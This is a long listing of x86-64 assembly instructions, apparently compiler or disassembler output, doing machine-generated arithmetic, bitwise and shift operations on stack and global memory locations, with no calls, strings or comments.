mov rax, qword [rsp + 0xa8d0]
mov ecx, dword [rsp + 0x4334]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaa18]
mov dword [rcx], eax
lea rax, [rsp + 0x10d0]
mov qword [rsp + 0xb558], rax
mov rax, qword [0x14019d9d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b9]
sar eax, cl
mov rcx, qword [rsp + 0xab20]
mov byte [rcx], al
mov rax, qword [rsp + 0xace8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xac78]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x154], al
lea rax, [rsp + 0xf4c]
mov qword [0x14019da68], rax
mov rax, qword [0x14019d8c8]
mov ecx, dword [rsp + 0x41b0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x39c4], eax
mov rax, qword [rsp + 0xb388]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x425c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaaa8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x105c]
mov word [rsp + 0x10d8], ax
mov rax, qword [rsp + 0xab28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xac60]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1af], al
mov rax, qword [rsp + 0xb328]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4298]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4278], eax
mov eax, dword [rsp + 0x420c]
mov dword [rsp + 0x454c], eax
mov rax, qword [0x14019d7d8]
mov ecx, dword [rsp + 0x3b8c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41a8], eax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov dword [rsp + 0x4550], eax
movzx eax, byte [rsp + 0x1a5]
movzx ecx, byte [rsp + 0x1a7]
add eax, ecx
mov byte [0x14019bf16], al
mov rax, qword [rsp + 0xb418]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea4]
sub eax, ecx
mov rcx, qword [rsp + 0xaf40]
mov word [rcx], ax
mov rax, qword [rsp + 0xac98]
mov ecx, dword [rsp + 0x4258]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x39c4], eax
mov rax, qword [0x14019d960]
mov eax, dword [rax]
mov dword [rsp + 0x4554], eax
movsx eax, byte [rsp + 0x17e]
mov rcx, qword [rsp + 0xad80]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa638]
mov byte [rcx], al
mov rax, qword [rsp + 0xb260]
movzx eax, word [rax]
mov word [rsp + 0x10dc], ax
mov rax, qword [rsp + 0xa4f8]
movzx eax, byte [rax]
movzx ecx, byte [0x14019bf16]
sub eax, ecx
mov rcx, qword [rsp + 0xa488]
mov byte [rcx], al
movzx eax, word [rsp + 0xfb8]
mov word [rsp + 0x10e0], ax
mov rax, qword [rsp + 0xae98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43ec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xacf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa698]
mov rcx, qword [rsp + 0xa590]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x14019d808]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb248]
mov rcx, qword [rsp + 0xb4e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4170], eax
mov eax, dword [rsp + 0x43ec]
mov dword [rsp + 0x4558], eax
mov rax, qword [rsp + 0xb3d0]
mov eax, dword [rax]
mov rcx, qword [0x14019d9c0]
mov qword [rsp + 0xb560], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb560]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xad30]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x167]
mov byte [rsp + 0x1ca], al
movzx eax, word [rsp + 0xf80]
mov rcx, qword [rsp + 0xa768]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xaf98]
mov word [rcx], ax
mov rax, qword [rsp + 0xabf0]
mov eax, dword [rax]
mov ecx, dword [0x14019d920]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa590]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa728]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x36b4], eax
mov rax, qword [rsp + 0xb420]
mov rcx, qword [0x14019d9c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x44e8], eax
lea rax, [rsp + 0x4550]
mov qword [0x14019da70], rax
lea rax, [rsp + 0x151]
mov qword [rsp + 0xb568], rax
movzx eax, word [rsp + 0xfa8]
movzx ecx, word [rsp + 0x1064]
and eax, ecx
mov rcx, qword [rsp + 0xab40]
mov word [rcx], ax
mov rax, qword [rsp + 0xa638]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b9]
sub eax, ecx
mov rcx, qword [rsp + 0xa7d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa808]
movzx eax, word [rax]
mov word [rsp + 0x10e4], ax
mov rax, qword [rsp + 0xb150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4228]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb1d8]
mov dword [rcx], eax
lea rax, [rsp + 0x4354]
mov qword [rsp + 0xb570], rax
mov rax, qword [rsp + 0xae58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb098]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaa78]
mov byte [rcx], al
lea rax, [rsp + 0xfd4]
mov qword [rsp + 0xb578], rax
mov eax, dword [rsp + 0x43e8]
mov ecx, dword [rsp + 0x4234]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d7f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4178], eax
mov rax, qword [rsp + 0xa950]
mov ecx, dword [rsp + 0x4398]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x44ac], eax
mov eax, dword [rsp + 0x43f8]
mov dword [rsp + 0x455c], eax
movzx eax, byte [rsp + 0x1c2]
mov rcx, qword [rsp + 0xacb8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xab68]
mov byte [rcx], al
movzx eax, word [rsp + 0xf64]
mov word [rsp + 0x10e8], ax
mov rax, qword [rsp + 0xa7d8]
mov eax, dword [rax]
mov ecx, dword [0x14019bf84]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb0d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xabf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fc0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x42e0], eax
lea rax, [rsp + 0x4474]
mov qword [rsp + 0xb580], rax
mov eax, dword [rsp + 0x4478]
movzx ecx, al
mov eax, dword [0x14019bf30]
shl eax, cl
mov dword [0x14019d7e0], eax
mov eax, dword [rsp + 0x452c]
mov rcx, qword [rsp + 0xa5b0]
mov qword [rsp + 0xb588], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb588]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4178], eax
mov rax, qword [rsp + 0xa7f8]
movzx eax, word [rax]
mov word [rsp + 0x10ec], ax
movsx eax, byte [rsp + 0x19a]
movsx ecx, byte [rsp + 0x1bc]
xor eax, ecx
mov rcx, qword [rsp + 0xad80]
mov byte [rcx], al
mov rax, qword [rsp + 0xb520]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad88]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf14], ax
mov rax, qword [rsp + 0xaa58]
movzx eax, byte [rax]
mov byte [rsp + 0x1cb], al
mov rax, qword [rsp + 0xabe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42c8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa778]
mov dword [rcx], eax
lea rax, [rsp + 0x4498]
mov qword [rsp + 0xb590], rax
movzx eax, byte [rsp + 0x1a7]
mov rcx, qword [0x14019d818]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa890]
mov byte [rcx], al
lea rax, [rsp + 0xde4]
mov qword [0x14019da78], rax
mov rax, qword [rsp + 0xabe0]
mov ecx, dword [rsp + 0x4274]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb048]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac30]
mov eax, dword [rax]
mov dword [rsp + 0x4560], eax
mov eax, dword [rsp + 0x35e8]
mov ecx, dword [0x14019bf40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4294], eax
mov eax, dword [rsp + 0x434c]
mov dword [rsp + 0x4564], eax
movzx eax, byte [rsp + 0x19c]
mov rcx, qword [0x14019d8b8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xabb0]
mov byte [rcx], al
mov rax, qword [rsp + 0xab40]
movzx eax, word [rax]
mov word [rsp + 0x10f0], ax
mov eax, dword [rsp + 0x4478]
mov ecx, dword [rsp + 0x44ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4338], eax
mov rax, qword [rsp + 0xa938]
mov ecx, dword [rsp + 0x4240]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42cc], eax
movsx eax, byte [rsp + 0x16d]
movsx ecx, byte [rsp + 0x174]
add eax, ecx
mov byte [0x14019900b], al
mov rax, qword [rsp + 0xa5f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa578]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xe88], ax
movzx eax, word [0x14019bf54]
movzx ecx, word [rsp + 0xd5c]
or eax, ecx
mov rcx, qword [rsp + 0xae28]
mov word [rcx], ax
movzx eax, byte [rsp + 0x158]
mov byte [rsp + 0x1cc], al
mov eax, dword [rsp + 0x41f8]
mov rcx, qword [rsp + 0xa368]
mov qword [rsp + 0xb598], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb598]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xb550]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4350]
mov rcx, qword [0x14019d9e8]
mov qword [rsp + 0xb5a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb5a0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xb040]
mov dword [rcx], eax
lea rax, [rsp + 0x41bc]
mov qword [rsp + 0xb5a8], rax
mov rax, qword [rsp + 0xac10]
mov ecx, dword [rsp + 0x4414]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3ce4], eax
mov rax, qword [rsp + 0xaab8]
mov eax, dword [rax]
mov dword [rsp + 0x4568], eax
movzx eax, byte [rsp + 0x16a]
movzx ecx, byte [rsp + 0x119]
sub eax, ecx
mov rcx, qword [rsp + 0xaea0]
mov byte [rcx], al
lea rax, [rsp + 0x1044]
mov qword [0x14019da80], rax
mov rax, qword [0x14019d7f0]
mov rcx, qword [rsp + 0xacc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x420c], eax
mov rax, qword [rsp + 0xaf30]
mov eax, dword [rax]
mov dword [rsp + 0x456c], eax
mov rax, qword [rsp + 0xb080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x417c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x43c4], eax
mov rax, qword [rsp + 0xa758]
mov eax, dword [rax]
mov dword [rsp + 0x4570], eax
movzx eax, word [rsp + 0xf40]
movzx ecx, word [rsp + 0x1048]
add eax, ecx
mov rcx, qword [rsp + 0xa548]
mov word [rcx], ax
lea rax, [rsp + 0x170]
mov qword [rsp + 0xb5b0], rax
mov rax, qword [rsp + 0xad60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xafe8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x178], al
mov rax, qword [rsp + 0xadd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfb4]
sub eax, ecx
mov rcx, qword [rsp + 0xa790]
mov word [rcx], ax
mov eax, dword [0x14019bf34]
mov ecx, dword [rsp + 0x43d0]
add ecx, eax
mov eax, ecx
mov dword [0x14019d938], eax
mov eax, dword [rsp + 0x4398]
mov dword [rsp + 0x4574], eax
mov rax, qword [rsp + 0xb4c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb460]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb100]
mov word [rcx], ax
mov rax, qword [rsp + 0xae48]
movzx eax, byte [rax]
mov byte [rsp + 0x1cd], al
mov eax, dword [rsp + 0x3b60]
mov ecx, dword [0x14019d790]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41b8], eax
mov eax, dword [rsp + 0x449c]
mov rcx, qword [rsp + 0xabb8]
mov qword [rsp + 0xb5b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb5b8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa728]
mov dword [rcx], eax
lea rax, [rsp + 0x4310]
mov qword [rsp + 0xb5c0], rax
mov eax, dword [rsp + 0x4438]
mov rcx, qword [0x14019da70]
mov qword [rsp + 0xb5c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb5c8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x44dc], eax
mov rax, qword [rsp + 0xa618]
movzx eax, byte [rax]
mov byte [rsp + 0x1ce], al
lea rax, [rsp + 0xf2c]
mov qword [0x14019da88], rax
mov rax, qword [rsp + 0xad40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x428c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa888]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb490]
mov ecx, dword [rsp + 0x41c8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xb208]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4394]
mov dword [rsp + 0x4578], eax
mov rax, qword [rsp + 0xab48]
mov eax, dword [rax]
mov ecx, dword [0x14019bf40]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb1e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb0a8]
mov ecx, dword [rsp + 0x3b98]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3ee8], eax
movsx eax, word [rsp + 0xc48]
movsx ecx, word [0x14019bf24]
sub eax, ecx
mov rcx, qword [rsp + 0xb260]
mov word [rcx], ax
mov rax, qword [rsp + 0xa900]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x186]
sub eax, ecx
mov rcx, qword [rsp + 0xafa8]
mov byte [rcx], al
lea rax, [rsp + 0x1b1]
mov qword [rsp + 0xb5d0], rax
mov rax, qword [rsp + 0xaed0]
movzx eax, word [rax]
mov rcx, qword [0x14019d910]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019bfa4], ax
mov rax, qword [rsp + 0xb288]
mov ecx, dword [rsp + 0x4514]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb528]
mov dword [rcx], eax
lea rax, [rsp + 0x434c]
mov qword [rsp + 0xb5d8], rax
mov rax, qword [rsp + 0xa5c0]
movzx eax, byte [rax]
movzx ecx, byte [0x14019d7b6]
and eax, ecx
mov byte [rsp + 0x15d], al
lea rax, [rsp + 0xf28]
mov qword [rsp + 0xb5e0], rax
mov rax, qword [rsp + 0xb420]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ef8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x42ec], eax
mov rax, qword [rsp + 0xb528]
mov ecx, dword [rsp + 0x4210]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4460], eax
lea rax, [rsp + 0x4400]
mov qword [rsp + 0xb5e8], rax
mov eax, dword [rsp + 0x4560]
mov ecx, dword [rsp + 0x4218]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaa48]
mov dword [rcx], eax
movzx eax, word [rsp + 0xd68]
mov rcx, qword [rsp + 0xaf68]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14019d8a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x12e]
mov byte [rsp + 0x1cf], al
mov eax, dword [rsp + 0x423c]
movzx ecx, al
mov eax, dword [rsp + 0x4500]
shr eax, cl
mov dword [rsp + 0x3ca4], eax
mov rax, qword [rsp + 0xa6e8]
mov ecx, dword [rsp + 0x3400]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4488], eax
mov rax, qword [rsp + 0xb0a0]
movzx eax, word [rax]
mov word [rsp + 0x10f4], ax
movsx eax, byte [rsp + 0x1bc]
movsx ecx, byte [rsp + 0x185]
shl eax, cl
mov byte [rsp + 0x14d], al
movzx eax, byte [rsp + 0x18d]
mov byte [rsp + 0x1d0], al
mov rax, qword [rsp + 0xb3c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf2c]
and eax, ecx
mov rcx, qword [rsp + 0xaed0]
mov word [rcx], ax
mov eax, dword [rsp + 0x4424]
mov ecx, dword [rsp + 0x4458]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x43a4], eax
mov rax, qword [0x14019d990]
mov ecx, dword [rsp + 0x41a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019bfa0], eax
mov eax, dword [rsp + 0x35fc]
mov dword [rsp + 0x457c], eax
mov rax, qword [0x14019d888]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4504]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x36b4], eax
mov rax, qword [rsp + 0xaa10]
mov eax, dword [rax]
mov dword [rsp + 0x4580], eax
mov rax, qword [rsp + 0xaf20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1090]
sub eax, ecx
mov word [rsp + 0xfa8], ax
mov rax, qword [rsp + 0xb3a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaa78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa570]
mov byte [rcx], al
mov eax, dword [rsp + 0x4318]
mov dword [rsp + 0x4584], eax
mov rax, qword [rsp + 0xb1d8]
mov rcx, qword [rsp + 0xace0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4220], eax
mov eax, dword [rsp + 0x41d4]
mov dword [rsp + 0x4588], eax
lea rax, [0x14019bf90]
mov qword [0x14019da90], rax
mov rax, qword [rsp + 0xa828]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaed0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf3c], ax
mov rax, qword [rsp + 0xb330]
movzx eax, byte [rax]
mov byte [rsp + 0x1d1], al
mov rax, qword [rsp + 0xa6f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x109c]
sub eax, ecx
mov word [rsp + 0xc48], ax
movsx eax, byte [rsp + 0x7b]
mov rcx, qword [rsp + 0xa558]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x18c], al
lea rax, [rsp + 0x4524]
mov qword [rsp + 0xb5f0], rax
mov rax, qword [0x14019da70]
mov ecx, dword [rsp + 0x4144]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0xae70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x104c]
or eax, ecx
mov word [rsp + 0xbdc], ax
movzx eax, byte [rsp + 0x189]
mov rcx, qword [0x14019d918]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa970]
mov byte [rcx], al
mov rax, qword [rsp + 0xacc8]
mov rcx, qword [rsp + 0xa428]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14019da58]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb590]
mov rcx, qword [rsp + 0xab38]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4370], eax
lea rax, [rsp + 0x4298]
mov qword [rsp + 0xb5f8], rax
mov rax, qword [rsp + 0xb168]
mov rcx, qword [rsp + 0xb458]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4284], eax
lea rax, [rsp + 0xebc]
mov qword [rsp + 0xb600], rax
mov rax, qword [rsp + 0xabe8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14e]
add eax, ecx
mov byte [rsp + 0x70], al
mov eax, dword [rsp + 0x44ac]
mov ecx, dword [rsp + 0x437c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x43d8], eax
lea rax, [rsp + 0x4174]
mov qword [rsp + 0xb608], rax
mov rax, qword [rsp + 0xae40]
mov ecx, dword [rsp + 0x43a4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa508]
mov dword [rcx], eax
lea rax, [rsp + 0x42f4]
mov qword [0x14019da98], rax
mov rax, qword [rsp + 0xad20]
mov eax, dword [rax]
mov dword [rsp + 0x458c], eax
mov rax, qword [rsp + 0xad80]
movsx eax, byte [rax]
movsx ecx, byte [0x140199008]
add eax, ecx
mov rcx, qword [rsp + 0xa558]
mov byte [rcx], al
lea rax, [rsp + 0xc94]
mov qword [rsp + 0xb610], rax
mov rax, qword [rsp + 0xa4f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa780]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1c0], al
movzx eax, word [rsp + 0x1000]
mov rcx, qword [rsp + 0xa6c0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xad88]
mov word [rcx], ax
mov rax, qword [rsp + 0xb2f0]
mov eax, dword [rax]
mov dword [rsp + 0x4590], eax
mov eax, dword [rsp + 0x42ec]
mov ecx, dword [rsp + 0x41d4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb0a8]
mov dword [rcx], eax
lea rax, [rsp + 0xeb4]
mov qword [rsp + 0xb618], rax
movzx eax, byte [0x14019900c]
movzx ecx, byte [rsp + 0x19e]
or eax, ecx
mov byte [0x14019bf17], al
mov eax, dword [rsp + 0x44c0]
mov rcx, qword [rsp + 0xb218]
mov qword [rsp + 0xb620], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb620]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x425c], eax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov rcx, qword [0x14019d808]
mov qword [rsp + 0xb628], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb628]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xb3b8]
mov dword [rcx], eax
lea rax, [rsp + 0x3b8c]
mov qword [rsp + 0xb630], rax
mov rax, qword [rsp + 0xb3a0]
mov rcx, qword [rsp + 0xae40]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xb048]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1010]
mov word [rsp + 0x10f8], ax
mov rax, qword [rsp + 0xac90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x12e]
sub eax, ecx
mov byte [rsp + 0x119], al
mov rax, qword [rsp + 0xad48]
mov ecx, dword [rsp + 0x4240]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb430]
mov dword [rcx], eax
lea rax, [rsp + 0x388c]
mov qword [rsp + 0xb638], rax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf7c]
and eax, ecx
mov word [0x14019bf64], ax
mov rax, qword [rsp + 0xb500]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x186]
sub eax, ecx
mov byte [rsp + 0x7b], al
lea rax, [0x14019d7b6]
mov qword [rsp + 0xb640], rax
movzx eax, word [rsp + 0xcec]
mov rcx, qword [rsp + 0xac40]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf38], ax
mov rax, qword [rsp + 0xb278]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3df8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41c4], eax
mov rax, qword [rsp + 0xa6a8]
mov eax, dword [rax]
mov dword [rsp + 0x4594], eax
mov eax, dword [rsp + 0x44bc]
mov ecx, dword [rsp + 0x4268]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41a0], eax
mov eax, dword [rsp + 0x4534]
mov dword [rsp + 0x4598], eax
mov rax, qword [rsp + 0xb378]
mov ecx, dword [rsp + 0x43d4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xad98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb3f0]
movzx eax, byte [rax]
mov byte [rsp + 0x1d2], al
movzx eax, word [rsp + 0xfd4]
movzx ecx, word [rsp + 0x10cc]
add eax, ecx
mov rcx, qword [0x14019d8f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xaaa8]
mov rcx, qword [rsp + 0xb218]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4468], eax
mov rax, qword [rsp + 0xaa90]
mov ecx, dword [rsp + 0x43b8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4554], eax
lea rax, [rsp + 0x40e4]
mov qword [rsp + 0xb648], rax
mov rax, qword [rsp + 0xa568]
mov eax, dword [rax]
mov ecx, dword [0x14019bf44]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa778]
mov dword [rcx], eax
movzx eax, word [rsp + 0x10b8]
mov word [rsp + 0x10fc], ax
movzx eax, byte [rsp + 0x15d]
movzx ecx, byte [rsp + 0x16e]
or eax, ecx
mov rcx, qword [rsp + 0xab28]
mov byte [rcx], al
mov rax, qword [0x14019d798]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x150]
sar eax, cl
mov rcx, qword [rsp + 0xb500]
mov byte [rcx], al
mov rax, qword [rsp + 0xa808]
movzx eax, word [rax]
mov word [rsp + 0x1100], ax
mov eax, dword [rsp + 0x4258]
mov dword [0x14019daa0], eax
mov rax, qword [rsp + 0xb070]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019bf4c]
shl eax, cl
mov dword [rsp + 0x42e8], eax
lea rax, [rsp + 0x1ac]
mov qword [rsp + 0xb650], rax
movzx eax, word [rsp + 0x10a4]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x104c], ax
mov rax, qword [rsp + 0xac68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4454]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4450], eax
lea rax, [rsp + 0x41a4]
mov qword [rsp + 0xb658], rax
mov eax, dword [rsp + 0x433c]
mov ecx, dword [rsp + 0x452c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4450], eax
lea rax, [0x14019bf2c]
mov qword [rsp + 0xb660], rax
movzx eax, byte [rsp + 0x163]
movzx ecx, byte [rsp + 0x1ce]
and eax, ecx
mov byte [rsp + 0x183], al
mov rax, qword [rsp + 0xa6c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xada8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019d850], ax
mov eax, dword [rsp + 0x450c]
mov ecx, dword [0x14019bf74]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x38f0], eax
mov eax, dword [rsp + 0x417c]
mov ecx, dword [rsp + 0x3ef8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x43d4]
mov ecx, dword [rsp + 0x3aa4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4550], eax
lea rax, [rsp + 0x4260]
mov qword [rsp + 0xb668], rax
mov rax, qword [rsp + 0xac30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44e8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xadf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaeb8]
movzx eax, byte [rax]
mov byte [rsp + 0x1d3], al
movsx eax, word [rsp + 0x108c]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa6b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xac28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb098]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x147], al
lea rax, [0x14019bfa4]
mov qword [0x14019daa8], rax
lea rax, [rsp + 0x4290]
mov qword [rsp + 0xb670], rax
mov rax, qword [rsp + 0xb358]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x425c]
shr eax, cl
mov dword [rsp + 0x418c], eax
lea rax, [rsp + 0x14e]
mov qword [rsp + 0xb678], rax
mov rax, qword [0x14019d910]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa898]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xb4c8]
mov word [rcx], ax
mov eax, dword [rsp + 0x42cc]
mov ecx, dword [rsp + 0x4224]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb0a8]
mov dword [rcx], eax
lea rax, [0x14019d840]
mov qword [rsp + 0xb680], rax
mov rax, qword [rsp + 0xa6e8]
